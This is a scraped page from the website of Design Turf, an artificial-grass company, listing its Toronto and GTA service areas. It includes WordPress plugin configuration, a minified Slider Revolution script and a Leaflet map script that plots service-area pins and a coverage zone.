var breeze_prefetch = {"local_url":"https://www.designturf.ca","ignore_remote_prefetch":"1","ignore_list":["wp-admin","wp-login.php"]};
//# sourceURL=breeze-prefetch-js-extra
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/infinitescroll/infinite-scroll.pkgd.min.js
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/dompurify/purify.min.js
window.RLG = window.RLG || {}; window.RLG.sanitizeAllowedHosts = ["youtube.com","www.youtube.com","youtu.be","vimeo.com","player.vimeo.com"];
//# sourceURL=responsive-lightbox-sanitizer-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_cff8034e8b54db04305eb25af61fbf22.js
var rlArgs = {"script":"prettyphoto","selector":"lightbox","customEvents":"ajaxComplete","activeGalleries":true,"animationSpeed":"normal","slideshow":false,"slideshowDelay":5000,"slideshowAutoplay":false,"opacity":"0.75","showTitle":true,"allowResize":true,"allowExpand":true,"width":1080,"height":720,"separator":"\/","theme":"pp_default","horizontalPadding":20,"hideFlash":false,"wmode":"opaque","videoAutoplay":false,"modal":true,"deeplinking":true,"overlayGallery":true,"keyboardShortcuts":true,"social":false,"woocommerce_gallery":false,"ajaxurl":"https:\/\/www.designturf.ca\/wp-admin\/admin-ajax.php","nonce":"8c6166556b","preview":false,"postId":9324,"scriptExtension":false};
//# sourceURL=responsive-lightbox-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_faa3be4a3f60fdca4a3a2fe70597adf9.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_7a48c52c849d19588b172c03df75b236.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_e9cc3cb85f6b3d4e39ed8fea92d6eab7.js
var ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
window._tpt ??= {};
window.SR7 ??= {};
_tpt.R ??= {};
_tpt.R.fonts ??= {};
_tpt.R.fonts.customFonts??= {};
SR7.devMode = false;
SR7.F ??= {};
SR7.G ??= {};
SR7.LIB ??= {};
SR7.E ??= {};
SR7.E.gAddons ??= {};
SR7.E.php ??= {};
SR7.E.nonce = '209584f8a6';
SR7.E.ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
SR7.E.resturl = 'https://www.designturf.ca/wp-json/';
SR7.E.slug_path = 'revslider/revslider.php';
SR7.E.slug = 'revslider';
SR7.E.plugin_url = 'https://www.designturf.ca/wp-content/plugins/revslider/';
SR7.E.wp_plugin_url = 'https://www.designturf.ca/wp-content/plugins/';
SR7.E.revision = '6.7.58';
SR7.E.fontBaseUrl = '//fonts.googleapis.com/css2?family=';
SR7.G.breakPoints = [1240,1024,778,480];
SR7.G.fSUVW = false;
SR7.E.modules = ['module','page','slide','layer','draw','animate','srtools','canvas','defaults','carousel','navigation','media','modifiers','migration'];
SR7.E.libs = ['WEBGL'];
SR7.E.css = ['csslp','cssbtns','cssfilters','cssnav','cssmedia'];
SR7.E.resources = {};
SR7.E.ytnc = false;
SR7.JSON ??= {};
/*! Slider Revolution 7.0 - Page Processor */
!function(){"use strict";window.SR7??={},window._tpt??={},SR7.version="Slider Revolution 6.7.40",_tpt.getMobileZoom=()=>_tpt.is_mobile?document.documentElement.clientWidth/window.innerWidth:1,_tpt.getWinDim=function(t){_tpt.screenHeightWithUrlBar??=window.innerHeight;let e=SR7.F?.modal?.visible&&SR7.M[SR7.F.module.getIdByAlias(SR7.F.modal.requested)];_tpt.scrollBar=window.innerWidth!==document.documentElement.clientWidth||e&&window.innerWidth!==e.c.module.clientWidth,_tpt.winW=_tpt.getMobileZoom()*window.innerWidth-(_tpt.scrollBar||"prepare"==t?_tpt.scrollBarW??_tpt.mesureScrollBar():0),_tpt.winH=_tpt.getMobileZoom()*window.innerHeight,_tpt.winWAll=document.documentElement.clientWidth},_tpt.getResponsiveLevel=function(t,e){return SR7.G.fSUVW?_tpt.closestGE(t,window.innerWidth):_tpt.closestGE(t,_tpt.winWAll)},_tpt.mesureScrollBar=function(){let t=document.createElement("div");return t.className="RSscrollbar-measure",t.style.width="100px",t.style.height="100px",t.style.overflow="scroll",t.style.position="absolute",t.style.top="-9999px",document.body.appendChild(t),_tpt.scrollBarW=t.offsetWidth-t.clientWidth,document.body.removeChild(t),_tpt.scrollBarW},_tpt.loadCSS=async function(t,e,s){return s?_tpt.R.fonts.required[e].status=1:(_tpt.R[e]??={},_tpt.R[e].status=1),new Promise((i,n)=>{if(_tpt.isStylesheetLoaded(t))s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i();else{const o=document.createElement("link");o.rel="stylesheet";let l="text",r="css";o["type"]=l+"/"+r,o.href=t,o.onload=()=>{s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i()},o.onerror=()=>{s?_tpt.R.fonts.required[e].status=3:_tpt.R[e].status=3,n(new Error(`Failed to load CSS: ${t}`))},document.head.appendChild(o)}})},_tpt.addContainer=function(t){const{tag:e="div",id:s,class:i,datas:n,textContent:o,iHTML:l}=t,r=document.createElement(e);if(s&&""!==s&&(r.id=s),i&&""!==i&&(r.className=i),n)for(const[t,e]of Object.entries(n))"style"==t?r.style.cssText=e:r.setAttribute(`data-${t}`,e);return o&&(r.textContent=o),l&&(r.innerHTML=l),r},_tpt.collector=function(){return{fragment:new DocumentFragment,add(t){var e=_tpt.addContainer(t);return this.fragment.appendChild(e),e},append(t){t.appendChild(this.fragment)}}},_tpt.isStylesheetLoaded=function(t){let e=t.split("?")[0];return Array.from(document.querySelectorAll('link[rel="stylesheet"], link[rel="preload"]')).some(t=>t.href.split("?")[0]===e)},_tpt.preloader={requests:new Map,preloaderTemplates:new Map,show:function(t,e){if(!e||!t)return;const{type:s,color:i}=e;if(s<0||"off"==s)return;const n=`preloader_${s}`;let o=this.preloaderTemplates.get(n);o||(o=this.build(s,i),this.preloaderTemplates.set(n,o)),this.requests.has(t)||this.requests.set(t,{count:0});const l=this.requests.get(t);clearTimeout(l.timer),l.count++,1===l.count&&(l.timer=setTimeout(()=>{l.preloaderClone=o.cloneNode(!0),l.anim&&l.anim.kill(),void 0!==_tpt.gsap?l.anim=_tpt.gsap.fromTo(l.preloaderClone,1,{opacity:0},{opacity:1}):l.preloaderClone.classList.add("sr7-fade-in"),t.appendChild(l.preloaderClone)},150))},hide:function(t){if(!this.requests.has(t))return;const e=this.requests.get(t);e.count--,e.count<0&&(e.count=0),e.anim&&e.anim.kill(),0===e.count&&(clearTimeout(e.timer),e.preloaderClone&&(e.preloaderClone.classList.remove("sr7-fade-in"),e.anim=_tpt.gsap.to(e.preloaderClone,.3,{opacity:0,onComplete:function(){e.preloaderClone.remove()}})))},state:function(t){if(!this.requests.has(t))return!1;return this.requests.get(t).count>0},build:(t,e="#ffffff",s="")=>{if(t<0||"off"===t)return null;const i=parseInt(t);if(t="prlt"+i,isNaN(i))return null;if(_tpt.loadCSS(SR7.E.plugin_url+"public/css/preloaders/t"+i+".css","preloader_"+t),isNaN(i)||i<6){const n=`background-color:${e}`,o=1===i||2==i?n:"",l=3===i||4==i?n:"",r=_tpt.collector();["dot1","dot2","bounce1","bounce2","bounce3"].forEach(t=>r.add({tag:"div",class:t,datas:{style:l}}));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`,datas:{style:o}});return r.append(d),d}{let n={};if(7===i){let t;e.startsWith("#")?(t=e.replace("#",""),t=`rgba(${parseInt(t.substring(0,2),16)}, ${parseInt(t.substring(2,4),16)}, ${parseInt(t.substring(4,6),16)}, `):e.startsWith("rgb")&&(t=e.slice(e.indexOf("(")+1,e.lastIndexOf(")")).split(",").map(t=>t.trim()),t=`rgba(${t[0]}, ${t[1]}, ${t[2]}, `),t&&(n.style=`border-top-color: ${t}0.65); border-bottom-color: ${t}0.15); border-left-color: ${t}0.65); border-right-color: ${t}0.15)`)}else 12===i&&(n.style=`background:${e}`);const o=[10,0,4,2,5,9,0,4,4,2][i-6],l=_tpt.collector(),r=l.add({tag:"div",class:"sr7-prl-inner",datas:n});Array.from({length:o}).forEach(()=>r.appendChild(l.add({tag:"span",datas:{style:`background:${e}`}})));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`});return l.append(d),d}}},SR7.preLoader={show:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.show(e||SR7.M[t].c.module,SR7.M[t]?.settings?.pLoader??{color:"#fff",type:10})},hide:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.hide(e||SR7.M[t].c.module)},state:(t,e)=>_tpt.preloader.state(e||SR7.M[t].c.module)},_tpt.prepareModuleHeight=function(t){window.SR7.M??={},window.SR7.M[t.id]??={},"ignore"==t.googleFont&&(SR7.E.ignoreGoogleFont=!0);let e=window.SR7.M[t.id];if(null==_tpt.scrollBarW&&_tpt.mesureScrollBar(),e.c??={},e.states??={},e.settings??={},e.settings.size??={},t.fixed&&(e.settings.fixed=!0),e.c.module=document.querySelector("sr7-module#"+t.id),e.c.adjuster=e.c.module.getElementsByTagName("sr7-adjuster")[0],e.c.content=e.c.module.getElementsByTagName("sr7-content")[0],"carousel"==t.type&&(e.c.carousel=e.c.content.getElementsByTagName("sr7-carousel")[0]),null==e.c.module||null==e.c.module)return;t.plType&&t.plColor&&(e.settings.pLoader={type:t.plType,color:t.plColor}),void 0===t.plType||"off"===t.plType||SR7.preLoader.state(t.id)&&SR7.preLoader.state(t.id,e.c.module)||SR7.preLoader.show(t.id,e.c.module),_tpt.winW||_tpt.getWinDim("prepare"),_tpt.getWinDim();let s=""+e.c.module.dataset?.modal;"modal"==s||"true"==s||"undefined"!==s&&"false"!==s||(e.settings.size.fullWidth=t.size.fullWidth,e.LEV??=_tpt.getResponsiveLevel(window.SR7.G.breakPoints,t.id),t.vpt=_tpt.fillArray(t.vpt,5),e.settings.vPort=t.vpt[e.LEV],void 0!==t.el&&"720"==t.el[4]&&t.gh[4]!==t.el[4]&&"960"==t.el[3]&&t.gh[3]!==t.el[3]&&"768"==t.el[2]&&t.gh[2]!==t.el[2]&&delete t.el,e.settings.size.height=null==t.el||null==t.el[e.LEV]||0==t.el[e.LEV]||"auto"==t.el[e.LEV]?_tpt.fillArray(t.gh,5,-1):_tpt.fillArray(t.el,5,-1),e.settings.size.width=_tpt.fillArray(t.gw,5,-1),e.settings.size.minHeight=_tpt.fillArray(t.mh??[0],5,-1),e.cacheSize={fullWidth:e.settings.size?.fullWidth,fullHeight:e.settings.size?.fullHeight},void 0!==t.off&&(t.off?.t&&(e.settings.size.m??={})&&(e.settings.size.m.t=t.off.t),t.off?.b&&(e.settings.size.m??={})&&(e.settings.size.m.b=t.off.b),t.off?.l&&(e.settings.size.p??={})&&(e.settings.size.p.l=t.off.l),t.off?.r&&(e.settings.size.p??={})&&(e.settings.size.p.r=t.off.r),e.offsetPrepared=!0),_tpt.updatePMHeight(t.id,t,!0))},_tpt.updatePMHeight=(t,e,s)=>{let i=SR7.M[t];var n=i.settings.size.fullWidth?_tpt.winW:i.c.module.parentNode.offsetWidth;n=0===n||isNaN(n)?_tpt.winW:n;let o=i.settings.size.width[i.LEV]||i.settings.size.width[i.LEV++]||i.settings.size.width[i.LEV--]||n,l=i.settings.size.height[i.LEV]||i.settings.size.height[i.LEV++]||i.settings.size.height[i.LEV--]||0,r=i.settings.size.minHeight[i.LEV]||i.settings.size.minHeight[i.LEV++]||i.settings.size.minHeight[i.LEV--]||0;if(l="auto"==l?0:l,l=parseInt(l),"carousel"!==e.type&&(n-=parseInt(e.onw??0)||0),i.MP=!i.settings.size.fullWidth&&n<o||_tpt.winW<o?Math.min(1,n/o):1,e.size.fullScreen||e.size.fullHeight){let t=parseInt(e.fho)||0,s=(""+e.fho).indexOf("%")>-1;e.newh=_tpt.winH-(s?_tpt.winH*t/100:t)}else e.newh=i.MP*Math.max(l,r);if(e.newh+=(parseInt(e.onh??0)||0)+(parseInt(e.carousel?.pt)||0)+(parseInt(e.carousel?.pb)||0),void 0!==e.slideduration&&(e.newh=Math.max(e.newh,parseInt(e.slideduration)/3)),e.shdw&&_tpt.buildShadow(e.id,e),i.c.adjuster.style.height=e.newh+"px",i.c.module.style.height=e.newh+"px",i.c.content.style.height=e.newh+"px",i.states.heightPrepared=!0,i.dims??={},i.dims.moduleRect=i.c.module.getBoundingClientRect(),i.c.content.style.left="-"+i.dims.moduleRect.left+"px",!i.settings.size.fullWidth)return s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)}),void _tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0);_tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0),requestAnimationFrame(function(){s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)})}),i.earlyResizerFunction||(i.earlyResizerFunction=function(){requestAnimationFrame(function(){_tpt.getWinDim(),_tpt.moduleDefaults(e.id,e),_tpt.updateSlideBg(t,!0)})},window.addEventListener("resize",i.earlyResizerFunction))},_tpt.buildShadow=function(t,e){let s=SR7.M[t];null==s.c.shadow&&(s.c.shadow=document.createElement("sr7-module-shadow"),s.c.shadow.classList.add("sr7-shdw-"+e.shdw),s.c.content.appendChild(s.c.shadow))},_tpt.bgStyle=async(t,e,s,i,n)=>{const o=SR7.M[t];if((e=e??o.settings).fixed&&!o.c.module.classList.contains("sr7-top-fixed")&&(o.c.module.classList.add("sr7-top-fixed"),o.c.module.style.position="fixed",o.c.module.style.width="100%",o.c.module.style.top="0px",o.c.module.style.left="0px",o.c.module.style.pointerEvents="none",o.c.module.style.zIndex=5e3,o.c.content.style.pointerEvents="none"),null==o.c.bgcanvas){let t=document.createElement("sr7-module-bg"),l=!1;if("string"==typeof e?.bg?.color&&e?.bg?.color.includes("{"))if(_tpt.gradient&&_tpt.gsap)e.bg.color=_tpt.gradient.convert(e.bg.color);else try{let t=JSON.parse(e.bg.color);(t?.orig||t?.string)&&(e.bg.color=JSON.parse(e.bg.color))}catch(t){return}let r="string"==typeof e?.bg?.color?e?.bg?.color||"transparent":e?.bg?.color?.string??e?.bg?.color?.orig??e?.bg?.color?.color??"transparent";if(t.style["background"+(String(r).includes("grad")?"":"Color")]=r,("transparent"!==r||n)&&(l=!0),o.offsetPrepared&&(t.style.visibility="hidden"),e?.bg?.image?.src&&(t.style.backgroundImage=`url(${e?.bg?.image.src})`,t.style.backgroundSize=""==(e.bg.image?.size??"")?"cover":e.bg.image.size,t.style.backgroundPosition=e.bg.image.position,t.style.backgroundRepeat=""==e.bg.image.repeat||null==e.bg.image.repeat?"no-repeat":e.bg.image.repeat,l=!0),!l)return;o.c.bgcanvas=t,e.size.fullWidth?t.style.width=_tpt.winW-(s&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":i&&(t.style.width=o.c.module.offsetWidth+"px"),e.sbt?.use?o.c.content.appendChild(o.c.bgcanvas):o.c.module.appendChild(o.c.bgcanvas)}o.c.bgcanvas.style.height=void 0!==e.newh?e.newh+"px":("carousel"==e.type?o.dims.module.h:o.dims.content.h)+"px",o.c.bgcanvas.style.left=!s&&e.sbt?.use||o.c.bgcanvas.closest("SR7-CONTENT")?"0px":"-"+(o?.dims?.moduleRect?.left??0)+"px"},_tpt.updateSlideBg=function(t,e){const s=SR7.M[t];let i=s.settings;s?.c?.bgcanvas&&(i.size.fullWidth?s.c.bgcanvas.style.width=_tpt.winW-(e&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":preparing&&(s.c.bgcanvas.style.width=s.c.module.offsetWidth+"px"))},_tpt.moduleDefaults=(t,e)=>{let s=SR7.M[t];null!=s&&null!=s.c&&null!=s.c.module&&(s.dims??={},s.dims.moduleRect=s.c.module.getBoundingClientRect(),s.c.content.style.left="-"+s.dims.moduleRect.left+"px",s.c.content.style.width=_tpt.winW-_tpt.scrollBarW+"px","carousel"==e.type&&(s.c.module.style.overflow="visible"),_tpt.bgStyle(t,e,window.innerWidth==_tpt.winW))},_tpt.getOffset=t=>{var e=t.getBoundingClientRect(),s=window.pageXOffset||document.documentElement.scrollLeft,i=window.pageYOffset||document.documentElement.scrollTop;return{top:e.top+i,left:e.left+s}},_tpt.fillArray=function(t,e){let s,i;t=Array.isArray(t)?t:[t];let n=Array(e),o=t.length;for(i=0;i<t.length;i++)n[i+(e-o)]=t[i],null==s&&"#"!==t[i]&&(s=t[i]);for(let t=0;t<e;t++)void 0!==n[t]&&"#"!=n[t]||(n[t]=s),s=n[t];return n},_tpt.closestGE=function(t,e){let s=Number.MAX_VALUE,i=-1;for(let n=0;n<t.length;n++)t[n]-1>=e&&t[n]-1-e<s&&(s=t[n]-1-e,i=n);return++i}}();
Service Areas Across Toronto & the GTA Design Turf proudly provides premium artificial grass, putting greens, playground turf, and K9 surfacing across Toronto and the GTA.
With over 25 years of experience and thousands of installations completed, our team delivers clean, precise, long‑lasting synthetic
turf solutions for homes, businesses, and recreational spaces. Explore the full list of regions we serve below.
Toronto Downtown Toronto North York Etobicoke Scarborough Midtown Beaches York Region Markham Richmond Hill Vaughan Stouffville Newmarket Aurora King City Durham Region Pickering Ajax Whitby Oshawa Brooklin Courtice Peel Region Mississauga Brampton Caledon Halton Region Oakville Burlington Milton Georgetown Simcoe County Barrie Innisfil Bradford Orillia Collingwood Muskoka Gravenhurst Bracebridge Huntsville Muskoka Lakes Start Your Artificial Grass Project Whether you're upgrading your backyard, building a custom putting green, or installing commercial turf, our team is ready to help.
Contact us today for a free consultation and discover why Design Turf is the #1 choice for artificial grass in Toronto and the GTA.
Contact Us
(function(){
'use strict';
/* ═══════════════════════════════════════════
CONFIGURATION — UPDATE THESE VALUES
═══════════════════════════════════════════ */
// Design Turf HQ coordinates (update to exact address)
var HQ_LAT = 43.6532;
var HQ_LNG = -79.3832;
// Service area pins (red markers) — add/remove as needed
var SERVICE_AREAS = [
{ name: 'Mississauga', lat: 43.5890, lng: -79.6441 },
{ name: 'Brampton', lat: 43.7315, lng: -79.7624 },
{ name: 'Vaughan', lat: 43.8361, lng: -79.4983 },
{ name: 'Markham', lat: 43.8561, lng: -79.3370 },
{ name: 'Oakville', lat: 43.4675, lng: -79.6877 },
{ name: 'Richmond Hill', lat: 43.8828, lng: -79.4403 },
{ name: 'Pickering', lat: 43.8354, lng: -79.0868 },
{ name: 'Ajax', lat: 43.8509, lng: -79.0204 },
{ name: 'Newmarket', lat: 44.0592, lng: -79.4613 },
{ name: 'Milton', lat: 43.5183, lng: -79.8774 },
{ name: 'Burlington', lat: 43.3255, lng: -79.7990 },
{ name: 'Stouffville', lat: 43.9701, lng: -79.2453 },
{ name: 'Oshawa', lat: 43.8971, lng: -78.8658 },
{ name: 'Uxbridge', lat: 44.11396, lng: -79.11049 }
];
// WP REST API — Services category ID
// ► OPTION A: By category (requires categories enabled on pages)
var SERVICES_CATEGORY_ID = 0; // ← Replace with your actual category ID
// ► OPTION B: By parent page ID (uncomment below, comment out Option A)
// var SERVICES_PARENT_ID = 0; // ← Replace with your Services parent page ID
/* ═══════════════════════════════════════════
PIN FACTORY — Inline SVG markers
═══════════════════════════════════════════ */
function makePin(fillColor, label) {
var svg = '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="46" viewBox="0 0 32 46">' +
'<defs><filter id="ds' + fillColor.replace('#','') + '" x="-20%" y="-10%" width="140%" height="130%">' +
'<feDropShadow dx="0" dy="2" stdDeviation="2" flood-color="rgba(0,0,0,0.3)"/></filter></defs>' +
'<path d="M16 1C7.7 1 1 7.7 1 16c0 11.3 15 29 15 29s15-17.7 15-29C31 7.7 24.3 1 16 1z" ' +
'fill="' + fillColor + '" stroke="#ffffff" stroke-width="2" filter="url(%23ds' + fillColor.replace('#','') + ')"/>' +
'<circle cx="16" cy="15" r="6.5" fill="#ffffff" opacity="0.92"/>' +
'</svg>';
return L.divIcon({
className: '',
html: svg,
iconSize: [32, 46],
iconAnchor: [16, 46],
popupAnchor:[0, -42]
});
}
var greenPin = makePin('#00A651', 'HQ');
var redPin = makePin('#E53935', 'Area');
/* ═══════════════════════════════════════════
MAP INITIALIZATION
═══════════════════════════════════════════ */
var map = L.map('dt-leaflet-map', {
center: [HQ_LAT, HQ_LNG],
zoom: 10,
scrollWheelZoom: false,
zoomControl: true,
attributionControl: true
});
// CartoDB Voyager tiles — clean, premium aesthetic
L.tileLayer('https://{s}.basemaps.cartocdn.com/rastertiles/voyager/{z}/{x}/{y}{r}.png', {
attribution: '© <a href="https://openstreetmap.org">OpenStreetMap</a> © <a href="https://carto.com/">CARTO</a>',
subdomains: 'abcd',
maxZoom: 19
}).addTo(map);
// ── HQ Marker (GREEN) ──
L.marker([HQ_LAT, HQ_LNG], { icon: greenPin })
.addTo(map)
.bindPopup(
'<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;min-width:160px;">' +
'<div style="font-size:16px;font-weight:800;color:#00A651;margin-bottom:3px;">Design Turf</div>' +
'<div style="font-size:13px;color:#555;margin-bottom:6px;">Headquarters · Toronto, ON</div>' +
'<a href="/contact/" style="display:inline-block;padding:5px 16px;background:#00A651;color:#fff;text-decoration:none;font-size:12px;font-weight:700;border-radius:4px;">Get a Quote</a>' +
'</div>'
);
// ── Service Area Markers (RED) ──
var bounds = L.latLngBounds([[HQ_LAT, HQ_LNG]]);
SERVICE_AREAS.forEach(function(area) {
L.marker([area.lat, area.lng], { icon: redPin })
.addTo(map)
.bindPopup(
'<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;">' +
'<div style="font-size:15px;font-weight:700;color:#E53935;margin-bottom:2px;">' + area.name + '</div>' +
'<div style="font-size:12px;color:#666;">We service this area</div>' +
'</div>'
);
bounds.extend([area.lat, area.lng]);
});
map.fitBounds(bounds, { padding: [40, 40] });
/* ═══════════════════════════════════════════
SERVICE AREA SHADING — Convex Hull + Buffer
Renders behind markers automatically
═══════════════════════════════════════════ */
// Collect all points (HQ + service areas)
var allPoints = [[HQ_LAT, HQ_LNG]];
SERVICE_AREAS.forEach(function(a) { allPoints.push([a.lat, a.lng]); });
// ── Convex Hull (Gift Wrapping / Jarvis March) ──
function cross(O, A, B) {
return (A[1] - O[1]) * (B[0] - O[0]) - (A[0] - O[0]) * (B[1] - O[1]);
}
function convexHull(points) {
var pts = points.slice().sort(function(a, b) {
return a[0] === b[0] ? a[1] - b[1] : a[0] - b[0];
});
if (pts.length <= 1) return pts;
var lower = [];
for (var i = 0; i < pts.length; i++) {
while (lower.length >= 2 && cross(lower[lower.length - 2], lower[lower.length - 1], pts[i]) <= 0)
lower.pop();
lower.push(pts[i]);
}
var upper = [];
for (var j = pts.length - 1; j >= 0; j--) {
while (upper.length >= 2 && cross(upper[upper.length - 2], upper[upper.length - 1], pts[j]) <= 0)
upper.pop();
upper.push(pts[j]);
}
upper.pop();
lower.pop();
return lower.concat(upper);
}
// ── Buffer Expansion ──
// Pushes each hull vertex outward from centroid by a factor
function expandHull(hull, factor) {
var centLat = 0, centLng = 0;
hull.forEach(function(p) { centLat += p[0]; centLng += p[1]; });
centLat /= hull.length;
centLng /= hull.length;
return hull.map(function(p) {
var dLat = p[0] - centLat;
var dLng = p[1] - centLng;
return [centLat + dLat * factor, centLng + dLng * factor];
});
}
var hull = convexHull(allPoints);
// ── Create custom map panes for layer ordering ──
map.createPane('outerGlow');
map.getPane('outerGlow').style.zIndex = 350;
map.createPane('innerFill');
map.getPane('innerFill').style.zIndex = 360;
// ── LAYER 1: Outer glow ring (wider, very faint) ──
var outerHull = expandHull(hull, 1.35);
L.polygon(outerHull, {
color: '#00A651',
weight: 0,
fillColor: '#00A651',
fillOpacity: 0.04,
smoothFactor: 1.5,
pane: 'outerGlow',
interactive: false
}).addTo(map);
// ── LAYER 2: Inner coverage zone (light green fill) ──
var innerHull = expandHull(hull, 1.15);
L.polygon(innerHull, {
color: '#00A651',
weight: 2,
opacity: 0.3,
dashArray: '8 6',
fillColor: '#00C853',
fillOpacity: 0.08,
smoothFactor: 1.5,
pane: 'innerFill',
interactive: false
}).addTo(map);
// ── LAYER 3: Subtle center radial (warm core near HQ) ──
L.circle([HQ_LAT, HQ_LNG], {
radius: 12000,
color: 'transparent',
fillColor: '#00A651',
fillOpacity: 0.06,
pane: 'innerFill',
interactive: false
}).addTo(map);
/* ═══════════════════════════════════════════
MAP TEXT LABEL — "Our Service Area"
Positioned over Lake Ontario (dead zone)
═══════════════════════════════════════════ */
var labelPane = map.createPane('mapLabel');
labelPane.style.zIndex = 450;
labelPane.style.pointerEvents = 'none';
L.marker([43.30, -79.18], {
pane: 'mapLabel',
interactive: false,
keyboard: false,
icon: L.divIcon({
className: '',
iconSize: [340, 80],
iconAnchor: [170, 40],
html:
'<div style="' +
'font-family:Segoe UI,system-ui,-apple-system,sans-serif;' +
'font-size:28px;' +
'font-weight:800;' +
'color:rgba(0,166,81,0.35);' +
'text-transform:uppercase;' +
'letter-spacing:6px;' +
'text-align:center;' +
'white-space:nowrap;' +
'line-height:1;' +
'pointer-events:none;' +
'user-select:none;' +
'-webkit-user-select:none;' +
'text-shadow:0 1px 3px rgba(255,255,255,0.6);' +
'">Our Service Area</div>'
})
}).addTo(map);
// Enable scroll zoom after first click (UX-friendly)
map.once('click', function() { map.scrollWheelZoom.enable(); });
/* ═══════════════════════════════════════════
DYNAMIC SERVICE LIST — WP REST API
═══════════════════════════════════════════ */
var apiUrl;
if (SERVICES_CATEGORY_ID > 0) {
apiUrl = '/wp-json/wp/v2/pages?categories=' + SERVICES_CATEGORY_ID +
'&per_page=30&orderby=menu_order&order=asc&status=publish&_fields=id,title,link,excerpt';
} else {
renderFallbackServices();
return;
}
var grid = document.getElementById('dt-services-grid');
fetch(apiUrl)
.then(function(response) {
if (!response.ok) throw new Error('API error: ' + response.status);
return response.json();
})
.then(function(pages) {
if (!pages || !pages.length) { renderFallbackServices(); return; }
grid.innerHTML = '';
pages.forEach(function(page) {
grid.appendChild(createServiceCard(page.title.rendered, page.link));
});
})
.catch(function(err) {
console.warn('Design Turf services fetch failed:', err);
renderFallbackServices();
});
/* ═══════════════════════════════════════════
SERVICE CARD BUILDER
═══════════════════════════════════════════ */
function createServiceCard(title, url) {
var card = document.createElement('a');
card.href = url || '#';
card.setAttribute('style',
'display:flex;align-items:center;gap:12px;' +
'padding:14px 18px;' +
'background:rgba(255,255,255,0.03);' +
'border:1px solid rgba(255,255,255,0.07);' +
'border-radius:8px;' +
'color:#ffffff;text-decoration:none;' +
'font-size:14px;font-weight:600;' +
'line-height:1.4;' +
'transition:all 0.25s ease;'
);
card.onmouseenter = function() {
this.style.background = 'rgba(0,166,81,0.1)';
this.style.borderColor = 'rgba(0,166,81,0.4)';
this.style.transform = 'translateY(-1px)';
};
card.onmouseleave = function() {
this.style.background = 'rgba(255,255,255,0.03)';
this.style.borderColor = 'rgba(255,255,255,0.07)';
this.style.transform = 'translateY(0)';
};
var chevron = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#00A651" ' +
'stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" style="flex-shrink:0;">' +
'<polyline points="9 18 15 12 9 6"/></svg>';
card.innerHTML = chevron + '<span>' + title + '</span>';
return card;
}
/* ═══════════════════════════════════════════
FALLBACK: Static service list
► UPDATE these to match your actual pages
═══════════════════════════════════════════ */
function renderFallbackServices() {
var services = [
{ title: 'Artificial Grass Installation', url: '/artificial-grass-installation/' },
{ title: 'Backyard Putting Greens', url: '/backyard-putting-greens/' },
{ title: 'Pet Turf Solutions', url: '/pet-turf/' },
{ title: 'Commercial Turf Installation', url: '/commercial-turf/' },
{ title: 'Rooftop & Balcony Turf', url: '/rooftop-balcony-turf/' },
{ title: 'Playground Turf', url: '/playground-turf/' },
{ title: 'Landscape Design', url: '/landscape-design/' },
{ title: 'Turf Maintenance & Repair', url: '/turf-maintenance/' }
];
grid.innerHTML = '';
services.forEach(function(s) {
grid.appendChild(createServiceCard(s.title, s.url));
});
}
/* ═══════════════════════════════════════════
RESPONSIVE HANDLER (replaces media queries)
═══════════════════════════════════════════ */
function handleResize() {
var w = window.innerWidth;
var mapEl = document.getElementById('dt-leaflet-map');
if (w < 600) {
grid.style.gridTemplateColumns = '1fr';
if (mapEl) mapEl.style.height = '300px';
} else if (w < 900) {
grid.style.gridTemplateColumns = 'repeat(2, 1fr)';
if (mapEl) mapEl.style.height = '380px';
} else {
grid.style.gridTemplateColumns = 'repeat(auto-fill, minmax(230px, 1fr))';
if (mapEl) mapEl.style.height = '450px';
}
map.invalidateSize();
}
window.addEventListener('resize', handleResize);
handleResize();
})();
